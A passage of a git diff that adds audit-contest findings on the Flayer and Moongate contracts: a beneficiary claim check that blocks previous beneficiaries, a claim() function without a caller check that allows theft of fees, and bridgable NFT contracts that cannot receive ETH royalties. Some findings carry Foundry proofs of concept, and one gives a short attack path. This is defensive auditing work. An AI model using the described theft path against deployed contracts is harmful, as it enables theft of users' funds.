+2. When the AMM beneficiary calls [`claim()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L164-L171), it reverts with a `BeneficiaryPoolCannotClaim()` error.
+```solidity
+ if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+```
+
+### Impact
+
+The AMM beneficiary will be [unable to claim](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L171) their fees.
+
+```solidity
+function claim(address _beneficiary) public nonReentrant {
+ uint amount = beneficiaryFees[_beneficiary];
+ if (amount == 0) return;
+
+ // We cannot make a direct claim if the beneficiary is a pool
+ if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+ // ... snip ...
+}
+```
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider removing the `beneficiaryIsPool` check when claiming.
+
+```diff
+- if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+```
\ No newline at end of file
diff --git a/012/608.md b/012/608.md
new file mode 100644
index 0000000..f725281
--- /dev/null
+++ b/012/608.md
@@ -0,0 +1,53 @@
+Genuine Slate Sloth
+
+Medium
+
+# Previous beneficiaries cannot claim tokens when `BaseImplementation::beneficiaryIsPool` is updated to true
+
+## Summary
+Previous beneficiaries cannot claim tokens when `BaseImplementation::beneficiaryIsPool` is updated to true.
+
+## Vulnerability Detail
+According to the documentation of the `BaseImplementation::setBeneficiary` function, the previous beneficiary should still be able to claim any fees generated while they were set as the beneficiary. However, the `BaseImplementation::claim` function will revert if `beneficiaryIsPool` is updated to true.
+
+[BaseImplementation::setBeneficiary](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L211C5-L223) function:
+```Solidity
+/**
+ * Allows our beneficiary address to be updated, changing the address that will
+ * be allocated fees moving forward. The old beneficiary will still have access
+ * to `claim` any fees that were generated whilst they were set.
+ *
+ * @param _beneficiary The new fee beneficiary
+ * @param _isPool If the beneficiary is a Flayer pool
+ */
+// @audit The old beneficiary can not claim when beneficiaryIsPool = true
+function setBeneficiary(address _beneficiary, bool _isPool) public onlyOwner {
+ ...
+}
+```
+
+[BaseImplementation::claim](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L164-L180) function:
+```Solidity
+function claim(address _beneficiary) public nonReentrant {
+ uint amount = beneficiaryFees[_beneficiary];
+ if (amount == 0) return;
+
+ // We cannot make a direct claim if the beneficiary is a pool
+ if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+ ...
+}
+```
+
+## Impact
+Previous beneficiaries are unable to claim tokens.
+
+## Code Snippet
+- [BaseImplementation::setBeneficiary](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L211C5-L223) function
+- [BaseImplementation::claim](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L164-L180) function
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement a mapping between beneficiary addresses and a boolean to check if the beneficiary is a pool or not.
\ No newline at end of file
diff --git a/012/682.md b/012/682.md
new file mode 100644
index 0000000..0c1628a
--- /dev/null
+++ b/012/682.md
@@ -0,0 +1,72 @@
+Muscular Pebble Walrus
+
+Medium
+
+# `BaseImplementation:claim()` will be DoS for previous `beneficiary`
+
+## Summary
+`BaseImplementation:claim()` will be DoS for previous `beneficiary` due to a wrong check
+
+## Vulnerability Detail
+Previous beneficiary & current beneficiary can claim their fee using claim().
+```solidity
+ function claim(address _beneficiary) public nonReentrant {
+ // Ensure that the beneficiary has an amount available to claim. We don't revert
+ // at this point as it could open an external protocol to DoS.
+ uint amount = beneficiaryFees[_beneficiary];
+ if (amount == 0) return;
+
+ // We cannot make a direct claim if the beneficiary is a pool
+> if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+
+ // Reduce the amount of fees allocated to the `beneficiary` for the token. This
+ // helps to prevent reentrancy attacks.
+ beneficiaryFees[_beneficiary] = 0;
+
+ // Claim ETH equivalent available to the beneficiary
+ IERC20(nativeToken).transfer(_beneficiary, amount);
+ emit BeneficiaryFeesClaimed(_beneficiary, amount);
+ }
+```
+Above pointed line checks if the beneficiary is pool or not. But the problem is `beneficiaryIsPool` represents the status of the current beneficiary not previous beneficiary.
+
+If the current beneficiary is a pool but previous beneficiary was not a pool then previous beneficiary will not be able to claim their fees due to above check.
+
+Beneficiary can be changed using setBeneficiary(), which states that previous beneficiary should claim their fees.
+```solidity
+/**
+ * Allows our beneficiary address to be updated, changing the address that will
+ * be allocated fees moving forward. The old beneficiary will still have access
+ * to `claim` any fees that were generated whilst they were set.
+ *
+ * @param _beneficiary The new fee beneficiary
+ * @param _isPool If the beneficiary is a Flayer pool
+ */
+ function setBeneficiary(address _beneficiary, bool _isPool) public onlyOwner {
+ beneficiary = _beneficiary;
+ beneficiaryIsPool = _isPool;
+
+ // If we are setting the beneficiary to be a Flayer pool, then we want to
+ // run some additional logic to confirm that this is a valid pool by checking
+ // if we can match it to a corresponding {CollectionToken}.
+ if (_isPool && address(locker.collectionToken(_beneficiary)) == address(0)) {
+ revert BeneficiaryIsNotPool();
+ }
+
+ emit BeneficiaryUpdated(_beneficiary, _isPool);
+ }
+```
+
+
+## Impact
+Claim() will DoS for the previous beneficiary, if current beneficiary is a pool
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L171
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L203C5-L224C1
+
+## Tool used
+Manual Review
+
+## Recommendation
+Remove the above check as this doesn't require their
\ No newline at end of file
diff --git a/012/766.md b/012/766.md
new file mode 100644
index 0000000..3d9d12c
--- /dev/null
+++ b/012/766.md
@@ -0,0 +1,61 @@
+Helpful Lavender Mule
+
+High
+
+# A malicious user can put any beneficiary address and claim fees from others
+
+### Summary
+
+In the function `claim` you can put a beneficiary as parameter and collect fees based on the beneficiary but there is no check that msg.sender = beneficiary, which allows theft of funds.
+
+### Root Cause
+
+```solidity
+ function claim(address _beneficiary) public nonReentrant {
+ // Ensure that the beneficiary has an amount available to claim. We don't revert
+ // at this point as it could open an external protocol to DoS.
+@> uint amount = beneficiaryFees[_beneficiary];
+ if (amount == 0) return;
+
+ // We cannot make a direct claim if the beneficiary is a pool
+ if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+
+ // Reduce the amount of fees allocated to the `beneficiary` for the token. This
+ // helps to prevent reentrancy attacks.
+ beneficiaryFees[_beneficiary] = 0;
+
+ // Claim ETH equivalent available to the beneficiary
+ IERC20(nativeToken).transfer(_beneficiary, amount);
+ emit BeneficiaryFeesClaimed(_beneficiary, amount);
+ }
+```
+As we can see this is a function that allows beneficiaries to collect fees thorugh this function, but a malicious actor can put any beneficiary that he wants as parameter and claim fees since there is no check to see if `_beneficiary` == `msg.sender`. An attacker can monitor the blockchain to see who has a lot of fees building up and claim any of them.
+There is one instance of this [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/BaseImplementation.sol#L164C1-L180C6)
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. An attacker calls the function `claim` ,he uses a `beneficiary` address parameter that has a lot of fees
+3. The function does not check for the sender to compare to the beneficiary and the attacker claims funds which are not his
+
+### Impact
+
+The attacker can theoretically claim all beneficiary fees.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider using a message sender comparison check e.g.
+```solidity
+++ require(msg.sender == _beneficiary, "not beneficiary");
+```
\ No newline at end of file
diff --git a/013/132.md b/013/132.md
new file mode 100644
index 0000000..3b0353c
--- /dev/null
+++ b/013/132.md
@@ -0,0 +1,124 @@
+Tricky Sable Bee
+
+High
+
+# ERC721Bridgable.sol cannot receive ETH so users cannot claim ETH royalties
+
+### Summary
+
+ERC721Bridgable.sol is missing a payable receive or fallback function, so when ETH royalties are to be distributed to the NFT, the contract will not be able to receive it.
+
+### Root Cause
+
+In [ERC721Bridgable.sol](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC721Bridgable.sol#L19), there's no receive of fallback function. Or any payable function in fact.
+
+### Attack Path
+
+When the NFT royalty providers attempt to send ETH rewards to the NFT, the call will revert. As a result, when users call the [`claimRoyalties`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L230) function, intending to claim their ETH royalties, the call will always fail as there's no ETH to claim.
+
+```solidity
+ function claimRoyalties(address _recipient, address[] calldata _tokens) external {
+ if (msg.sender != INFERNAL_RIFT_BELOW) {
+ revert NotRiftBelow();
+ }
+
+ // We can iterate through the tokens that were requested and transfer them all
+ // to the specified recipient.
+ uint tokensLength = _tokens.length;
+ for (uint i; i < tokensLength; ++i) {
+ // Map our ERC20
+ ERC20 token = ERC20(_tokens[i]);
+
+ // If we have a zero-address token specified, then we treat this as native ETH
+ if (address(token) == address(0)) {
+>> SafeTransferLib.safeTransferETH(_recipient, payable(address(this)).balance);
+ } else {
+ SafeTransferLib.safeTransfer(token, _recipient, token.balanceOf(address(this)));
+ }
+ }
+ }
+```
+
+### Impact
+
+Users cannot claim their ERC721 ETH royalties because the contract is not designed to receive ETH, leading to loss of funds for users.
+
+### PoC
+
+The test case below should be added to RiftTest.t.sol. Its a modification of `test_CanClaimRoyalties` and it proves that the ERC721Bridgable.sol cannot receieve ETH, and as such there's no ETH for users to claim.
+
+Run it with `forge test --mt test_CantClaimRoyalties --vvv`
+```solidity
+
+ function test_CantClaimRoyalties() public {
+ // Set the royalty information for the L1 contract
+ l1NFT.setDefaultRoyalty(address(this), 1000);
+
+ // Create an ERC721 that implements ERC2981 for royalties
+ _bridgeNft(address(this), address(l1NFT), 0);
+
+ // Get our 'L2' address
+ Test721 l2NFT = Test721(riftBelow.l2AddressForL1Collection(address(l1NFT), false));
+
+ address RoyaltyProvider = makeAddr("RoyaltyProvider");
+ vm.deal(RoyaltyProvider, 10 ether);
+ vm.expectRevert();
+ vm.prank(RoyaltyProvider);
+ (bool success, ) = address(l2NFT).call{value: 10 ether}("");
+ assert(success);
+ vm.stopPrank();
+
+ // Set up our tokens array to try and claim native ETH
+ address[] memory tokens = new address[](1);
+ tokens[0] = address(0);
+
+ // Capture the starting ETH of this caller
+ uint startEthBalance = payable(address(this)).balance;
+// vm.expectRevert();
+ // Make a claim call to an external recipient address
+ riftAbove.claimRoyalties(address(l1NFT), ALICE, tokens, 0);
+
+ // Confirm that tokens have been sent to ALICE and not the caller
+ assertEq(payable(address(this)).balance, startEthBalance, 'Invalid caller ETH');
+ assertEq(payable(ALICE).balance, 10 ether, 'Invalid ALICE ETH');
+ }
+```
+We're expecting the test to fail, but the important part to note is the EVM error returned when our RoyaltyProvider attempts to send some ETH to the NFT (we covered this up, with vm.expectRevert())
+
+```md
+
+Ran 1 test for test/RiftTest.t.sol:RiftTest
+[FAIL. Reason: Invalid ALICE ETH: 0 != 10000000000000000000] test_CantClaimRoyalties() (gas: 547116)
+//...
+ │ └─ ← [Return] RoyaltyProvider: [0x5D4FfD958F2bfe55BfC8B0602A8C066E2D7eeBa8]
+ ├─ [0] VM::label(RoyaltyProvider: [0x5D4FfD958F2bfe55BfC8B0602A8C066E2D7eeBa8], "RoyaltyProvider")
+ │ └─ ← [Return]
+ ├─ [0] VM::deal(RoyaltyProvider: [0x5D4FfD958F2bfe55BfC8B0602A8C066E2D7eeBa8], 10000000000000000000 [1e19])
+ │ └─ ← [Return]
+ ├─ [0] VM::expectRevert(custom error f4844814:)
+ │ └─ ← [Return]
+ ├─ [0] VM::prank(RoyaltyProvider: [0x5D4FfD958F2bfe55BfC8B0602A8C066E2D7eeBa8])
+ │ └─ ← [Return]
+ ├─ [201] 0xC581A53569AD14EEeB09f9e27A2D49362557B547::fallback{value: 10000000000000000000}()
+ │ ├─ [45] ERC721Bridgable::fallback{value: 10000000000000000000}() [delegatecall]
+ │ │ └─ ← [Revert] EvmError: Revert
+ │ └─ ← [Revert] EvmError: Revert
+ ├─ [0] VM::stopPrank()
+ //...
+ ├─ [0] VM::assertEq(0, 10000000000000000000 [1e19], "Invalid ALICE ETH") [staticcall]
+ │ └─ ← [Revert] Invalid ALICE ETH: 0 != 10000000000000000000
+ └─ ← [Revert] Invalid ALICE ETH: 0 != 10000000000000000000
+
+Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.81ms (545.83µs CPU time)
+
+Ran 1 test suite in 1.28s (1.81ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
+```
+
+### Mitigation
+
+Add a receive or fallback function to the contract.
+
+```diff
++ receive() external payable {
++ }
+```
\ No newline at end of file
diff --git a/013/140.md b/013/140.md
new file mode 100644
index 0000000..22b8c9c
--- /dev/null
+++ b/013/140.md
@@ -0,0 +1,98 @@
+Tricky Sable Bee
+
+High
+
+# ERC1155Bridgable.sol cannot receive ETH royalties
+
+## Summary
+
+ERC1155Bridgable.sol cannot receive ETH, so any attempts for royalty sources to send ETH to the contract will fail, and as a result, users cannot claim their ERC1155 royalties.
+
+## Vulnerability Detail
+ERC1155Bridgable.sol holds the claimRoyalties function which allows users, through the `INFERNAL_RIFT_BELOW` to claim their royalties, ETH token or otherwise. However, when dealing with ETH, the contract has no payable receive or fallback function, and as a result cannot receive ETH. Thus, users cannot claim their ETH royalties.
+
+```solidity
+ function claimRoyalties(address _recipient, address[] calldata _tokens) external {
+ if (msg.sender != INFERNAL_RIFT_BELOW) {
+ revert NotRiftBelow();
+ }
+
+ // We can iterate through the tokens that were requested and transfer them all
+ // to the specified recipient.
+ uint tokensLength = _tokens.length;
+ for (uint i; i < tokensLength; ++i) {
+ // Map our ERC20
+ ERC20 token = ERC20(_tokens[i]);
+
+ // If we have a zero-address token specified, then we treat this as native ETH
+ if (address(token) == address(0)) {
+ SafeTransferLib.safeTransferETH(_recipient, payable(address(this)).balance);
+ } else {
+ SafeTransferLib.safeTransfer(token, _recipient, token.balanceOf(address(this)));
+ }
+ }
+ }
+```
+## Impact
+
+Contracts cannot receive ETH, and as a result, users cannot claim their royalties, leading to loss of funds.
+
+Add the test code below to RiftTest.t.sol, and run it with `forge test --mt test_bridged1155CannotReceiveETH -vvvv`
+
+```solidity
+ function test_bridged1155CannotReceiveETH() public {
+
+ l1NFT1155.mint(address(this), 0, 1);
+ l1NFT1155.setApprovalForAll(address(riftAbove), true);
+ address[] memory collections = new address[](1);
+ collections[0] = address(l1NFT1155);
+
+ uint[][] memory idList = new uint[][](1);
+ uint[] memory ids = new uint[](1);
+ ids[0] = 0;
+ idList[0] = ids;
+
+ uint[][] memory amountList = new uint[][](1);
+ uint[] memory amounts = new uint[](1);
+ amounts[0] = 1;
+ amountList[0] = amounts;
+
+ mockPortalAndMessenger.setXDomainMessenger(address(riftAbove));
+ riftAbove.crossTheThreshold1155(
+ _buildCrossThreshold1155Params(collections, idList, amountList, address(this), 0)
+ );
+
+ Test1155 l2NFT1155 = Test1155(riftBelow.l2AddressForL1Collection(address(l1NFT1155), true));
+ address RoyaltyProvider = makeAddr("RoyaltyProvider");
+ vm.deal(RoyaltyProvider, 10 ether);
+ vm.expectRevert();
+ vm.prank(RoyaltyProvider);
+ (bool success, ) = address(l2NFT1155).call{value: 10 ether}("");
+ assert(success);
+ vm.stopPrank();
+ }
+```
+The test passes because we are expecting a reversion with EvmError as the contract cannot receive ETH. Hence there's no ETH for the users to claim.
+
+```md
+ ├─ [0] VM::expectRevert(custom error f4844814:)
+ │ └─ ← [Return]
+ ├─ [0] VM::prank(RoyaltyProvider: [0x5D4FfD958F2bfe55BfC8B0602A8C066E2D7eeBa8])
+ │ └─ ← [Return]
+ ├─ [201] 0x094bb35C5C8E23F2A873541aDb8c5e464C29c668::fallback{value: 10000000000000000000}()
+ │ ├─ [45] ERC1155Bridgable::fallback{value: 10000000000000000000}() [delegatecall]
+ │ │ └─ ← [Revert] EvmError: Revert
+ │ └─ ← [Revert] EvmError: Revert
+ ├─ [0] VM::stopPrank()
+```
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC1155Bridgable.sol#L116C1-L135C6
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Add a payable receive function to the contract.
\ No newline at end of file
diff --git a/013/361.md b/013/361.md
new file mode 100644
index 0000000..e7ea67d
--- /dev/null
+++ b/013/361.md
@@ -0,0 +1,59 @@
+Amateur Cornflower Fish
+
+High
+
+# `ERC721Bridgable` cannot receive ETH for royalty payouts
+
+## Summary
+The contract cannot receive eth.
+## Vulnerability Detail
+When an NFT is bridged from L1 -> L2 and the collection does not exist there, the `InfernalRiftBelow` contract deploys an `ERC721Bridgable` [clone of it](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L240-L246):
+
+```solidity
+ // If not yet deployed, deploy the L2 collection and set name/symbol/royalty
+ if (!isDeployedOnL2(l1CollectionAddress, false)) {
+ Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+
+ // Check if we have an ERC721 or an ERC1155
+ l2Collection721 = ERC721Bridgable(l2CollectionAddress);
+ l2Collection721.initialize(package.name, package.symbol, package.royaltyBps, package.chainId, l1CollectionAddress);
+```
+
+Later if a user has royalties to claim they can [make the request](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L242-L274) from L1 -> L2 and after they're validated, a cross-chain message is sent to forward them to the specified recipient. The L2 contract then invokes the `ERC721Bridgable` clone to [claim royalties](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC721Bridgable.sol#L143-L162):
+
+```solidity
+ for (uint i; i < tokensLength; ++i) {
+ // Map our ERC20
+ ERC20 token = ERC20(_tokens[i]);
+
+ // If we have a zero-address token specified, then we treat this as native ETH
+ if (address(token) == address(0)) {
+ SafeTransferLib.safeTransferETH(_recipient, payable(address(this)).balance);
+ } else {
+ SafeTransferLib.safeTransfer(token, _recipient, token.balanceOf(address(this)));
+ }
+ }
+```
+
+If token address 0 is specified, the royalties are in native eth and to be paid out. The issue is that the `ERC721Bridgable` contract has no receive/fallback functions, nor any payable function which means it can never receive royalties in native eth. This will lead to a loss of funds for the recipient.
+## Impact
+Loss of funds for end recipient of royalties. Contract cannot receive any native eth royalties.
+## Code Snippet
+```solidity
+ for (uint i; i < tokensLength; ++i) {
+ // Map our ERC20
+ ERC20 token = ERC20(_tokens[i]);
+
+ // If we have a zero-address token specified, then we treat this as native ETH
+ if (address(token) == address(0)) {
+ SafeTransferLib.safeTransferETH(_recipient, payable(address(this)).balance);
+ } else {
+ SafeTransferLib.safeTransfer(token, _recipient, token.balanceOf(address(this)));
+ }
+ }
+```
+## Tool used
+Manual Review
+
+## Recommendation
+Allow the contract to receive eth.
diff --git a/013/400.md b/013/400.md
new file mode 100644
index 0000000..54f7533
--- /dev/null
+++ b/013/400.md
@@ -0,0 +1,44 @@
+Amateur Cornflower Fish
+
+High
+
+# `ERC1155Bridgable` cannot receive ETH for royalty payouts
+
+## Summary
+The contract cannot receive eth.
+## Vulnerability Detail
+The `ERC1155Bridgable` contract has a function to [`claimRoyalties()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC1155Bridgable.sol#L116-L135) for a recipient, where if one of the tokens specified is `address(0)` then the royalties are to be paid out in native eth. The issue is that the contract is missing receive/fallback functions as well as any payable function. The contract cannot receive any eth from royalties and cannot pay it out accordingly as well.
+```solidity
+ for (uint i; i < tokensLength; ++i) {
+ // Map our ERC20
+ ERC20 token = ERC20(_tokens[i]);
+
+ // If we have a zero-address token specified, then we treat this as native ETH
+ if (address(token) == address(0)) {
+ SafeTransferLib.safeTransferETH(_recipient, payable(address(this)).balance);
+ } else {
+ SafeTransferLib.safeTransfer(token, _recipient, token.balanceOf(address(this)));
+ }
+ }
+```
+## Impact
+Loss of funds for end recipient of royalties. Contract cannot receive any native eth royalties.
+## Code Snippet
+```solidity
+ for (uint i; i < tokensLength; ++i) {
+ // Map our ERC20
+ ERC20 token = ERC20(_tokens[i]);
+
+ // If we have a zero-address token specified, then we treat this as native ETH
+ if (address(token) == address(0)) {
+ SafeTransferLib.safeTransferETH(_recipient, payable(address(this)).balance);
+ } else {
+ SafeTransferLib.safeTransfer(token, _recipient, token.balanceOf(address(this)));
+ }
+ }
+```
+## Tool used
+Manual Review
+
+## Recommendation
+Allow the contract to receive eth.
diff --git a/013/544.md b/013/544.md
new file mode 100644
index 0000000..da6183f
--- /dev/null
+++ b/013/544.md
@@ -0,0 +1,52 @@
+Fancy Emerald Lark
+
+Medium
+
+# Native ETH royalty can never be claimed by anyone
+
+## Summary
+Issue: `ERC721Bridgable` and `ERC1155Bridgable` lacks a receiver function to accept incoming ETH
+
+## Vulnerability Detail
+The `ERC721Bridgable.claimRoyalties` in L2s allows you to claim tthe royalties in any token and also in native ETH. Some marketplaces/sales happen in antive ETH, WETH, USDC and so on. But look at line 162, it transfers the ETH balance to the recipient. The issue here is, that the `ERC721Bridgable` cannot have ETH at all, because it lacks a receiver or a fallback function that accepts the incoming ETH in the first place. So, all the ETH sent to `ERC721Bridgable` will revert, and claiming ETH as royalty is never possible. Issue happens in `ERC1155Bridgable` too.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC721Bridgable.sol#L157
+
+```solidity
+ERC721Bridgable.sol
+
+148: function claimRoyalties(address _recipient, address[] calldata _tokens) external {
+ ---- SNIP ----
+
+155: uint tokensLength = _tokens.length;
+156: for (uint i; i < tokensLength; ++i) {
+157: // Map our ERC20
+158: ERC20 token = ERC20(_tokens[i]);
+159:
+160: // If we have a zero-address token specified, then we treat this as native ETH
+161: if (address(token) == address(0)) {
+162: >>> SafeTransferLib.safeTransferETH(_recipient, payable(address(this)).balance);
+163: } else {
+164: SafeTransferLib.safeTransfer(token, _recipient, token.balanceOf(address(this)));
+165: }
+166: }
+167: }
+```
+
+
+## Impact
+Native ETH royalty can never be distributed to users, and it's a loss of funds, so high impact. And likelihood of using native ETH as royalty is below medium, so giving medium seevrity.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC721Bridgable.sol#L157
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Inherit the `Receiver.sol` contract from `solady` that accepts the incoming ETH, ERC20, ERC721, ERC1155.
+
+Check https://github.com/Vectorized/solady/blob/d87a6baaea980b54f6d0f2d3a3c30c45a5b1520a/src/accounts/Receiver.sol#L11
diff --git a/013/616.md b/013/616.md
new file mode 100644
index 0000000..66dd842
--- /dev/null
+++ b/013/616.md
@@ -0,0 +1,30 @@
+Fancy Ivory Kangaroo
+
+Medium
+
+# The absence of a `receive` function in the `ERC721Bridgable.sol` and `ERC1155Bridgable.sol` contracts
+
+## Summary
+The absence of a `receive` function in the `ERC721Bridgable.sol` and `ERC1155Bridgable.sol` contracts.
+
+## Vulnerability Detail
+The `ERC721Bridgable` and `ERC1155Bridgable` contracts implement `ERC-2981` for handling royalties. The `claimRoyalties` function allows a caller to retrieve native ETH if a zero-address token is passed into the function. However, in order to claim royalties in native ETH, the ETH must first be sent to the contract. The `ERC721Bridgable` and `ERC1155Bridgable` contracts do not have a `receive` function.
+
+```solidity
+if (address(token) == address(0)) {
+ SafeTransferLib.safeTransferETH(_recipient, payable(address(this)).balance);
+ }
+```
+
+## Impact
+The `claimRoyalties` function handles the scenario where native ETH is intended to be paid as royalties, but the user will not receive any ETH because it cannot be sent to the contract.
+
+## Code Snippet
+[moongate/src/libs/ERC1155Bridgable.sol#L130](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L130)
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Consider adding a `receive` function to the `ERC721Bridgable` and `ERC1155Bridgable` contracts.
\ No newline at end of file
diff --git a/013/639.md b/013/639.md
new file mode 100644
index 0000000..21d5399
--- /dev/null
+++ b/013/639.md
@@ -0,0 +1,80 @@
+Bright Emerald Fish
+
+Medium
+
+# Contract cannot receive native token
+
+## Summary
+The Contract `ERC721Bridgable` cannot receive native token paid in for royalties.
+
+## Vulnerability Detail
+The `ERC721Bridgable::claimRoyalties` function transfers native token or any token sent to the contract as royalties. But the contract does not have the functionality to accept native token.
+
+**POC**
+Add to the ./test/RiftTest.t.sol
+
+```solidity
+
+function test_CannotRecieveEthOnL2() public {
+ // Set the royalty information for the L1 contract
+ l1NFT.setDefaultRoyalty(address(this), 1000);
+
+ // Create an ERC721 that implements ERC2981 for royalties
+ _bridgeNft(address(this), address(l1NFT), 0);
+
+ // Get our 'L2' address
+ Test721 l2NFT = Test721(riftBelow.l2AddressForL1Collection(address(l1NFT), false));
+
+ //Add some native token to ALICE to buy the nft
+ deal(ALICE, 10 ether);
+ deal(address(USDC), ALICE, 1000 ether);
+
+ uint256 startEthBalance0 = payable(address(this)).balance;
+
+ //ALice buys the Nft from the contract in the L2
+ l2NFT.transferFrom(address(this), ALICE, 0);
+ //retrieve royalty information for the L1 contract
+ (address reciever, uint256 royaltyAmount) = l1NFT.royaltyInfo(0, 3 ether);
+
+ vm.startPrank(ALICE);
+ //Alice pays 3 ether for the NFT, the royalty paid to the l2Nft contract is removed
+ (bool success,) = address(this).call{value: 3 ether - royaltyAmount}("");
+ require(success);
+ assertEq(reciever, address(this));
+ assertEq(address(this).balance, startEthBalance0 + 3 ether - royaltyAmount);
+
+ //The royalty is sent to the l2NFT contract but it reverts because the l2Nft contract cannot recieve token
+ (bool success1,) = address(l2NFT).call{value: royaltyAmount}("");
+ require(success1);
+ vm.stopPrank();
+
+ // Set up our tokens array to try and claim native ETH
+ address[] memory tokens = new address[](1);
+ tokens[0] = address(0);
+
+ // Capture the starting ETH of this caller
+ uint256 startEthBalance = payable(address(this)).balance;
+
+ // Make a claim call to an external recipient address
+ riftAbove.claimRoyalties(address(l1NFT), address(this), tokens, 0);
+
+ // Confirm that tokens have been sent to ALICE and not the caller
+ assertEq(payable(address(this)).balance, startEthBalance + royaltyAmount, "Invalid caller ETH");
+ assertEq(payable(ALICE).balance, 7 ether, "Invalid ALICE ETH");
+ }
+
+```
+
+
+## Impact
+Native token cannot be sent to the contract to be used in paying royalties.
+
+## Code Snippet
+In https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L157 the functionality for transferring native token from the `ERC721Bridgable` contract to the royalties owner/reciever on the L1 is implemented
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add a receive or fallback function to the `ERC721Bridgable` contract
\ No newline at end of file
diff --git a/013/752.md b/013/752.md
new file mode 100644
index 0000000..b3fc1ee
--- /dev/null
+++ b/013/752.md
@@ -0,0 +1,58 @@
+Lucky Cloud Parrot
+
+High
+
+# Loss of royalty payments in `ERC721Bridgable.sol` due to no implementation of receive() function
+
+## Summary
+Loss of royalty payments in `ERC721Bridgable.sol` due to no implementation of receive() function
+
+## Vulnerability Detail
+`ERC721Bridgable.sol` supports the ERC-2981 NFT Royalty Standard. The royalty receiver is set to `address(this)` i.e `ERC721Bridgable` contract itself in `initialize()` function.
+
+```solidity
+ function initialize(
+ string memory _name,
+ string memory _symbol,
+ uint96 _royaltyBps,
+ uint256 _REMOTE_CHAIN_ID,
+ address _REMOTE_TOKEN
+ ) external {
+
+
+
+ . . . some code . . .
+
+
+
+ // Set this contract to receive marketplace royalty
+@> _setDefaultRoyalty(address(this), _royaltyBps);
+
+ // Prevent this function from being called again
+ initialized = true;
+ }
+```
+
+This means that with any sell of ERC721 NFT, the `ERC721Bridgable.sol` contract would receive the some percent as a royalty payment.
+
+As per [ERC-2981: NFT Royalty Standard](https://eips.ethereum.org/EIPS/eip-2981)
+
+> Marketplaces MUST pay the royalty in the same unit of exchange as that of the _salePrice passed to royaltyInfo(). This is equivalent to saying that the _salePrice parameter and the royaltyAmount return value MUST be denominated in the same monetary unit. For example, if the sale price is in ETH, then the royalty payment must also be paid in ETH, and if the sale price is in USDC, then the royalty payment must also be paid in USDC.
+
+It means that, if the ERC721 NFTs of `ERC721Bridgable.sol` is sold and to receive the royalty, `ERC721Bridgable.sol` should support Native tokens i.e it should have implemented `receive()` function. However, receive() is not implemented in `ERC721Bridgable.sol` contract.
+
+`InfernalRiftBelow.sol` is used to handle the transfer of ERC721 and ERC1155 tokens from L2 -> L1 chains. `claimRoyalties()` function from `InfernalRiftBelow.sol` is used to claim the royalties from `ERC721Bridgable` bridgeable contract. Therefore, the native tokens can not be received in `ERC721Bridgable` contract so native royalty tokens can not be received.
+
+For example, Marketplace like `Opensea` allows to set royalty token as Native ETH and sends the ETH royalty to royalty receiver address so in this case Native ETH can not be received in ERC721Bridgable contract due to missing receive() function.
+
+## Impact
+Whenever the NFT is sold, there will be loss of royalty payment due to non-support of native tokens via receive() function in `ERC721Bridgable.sol` so native royalty can not be claimed via. `InfernalRiftBelow.claimRoyalties()` function so its high severity.
+
+## Code Snippet
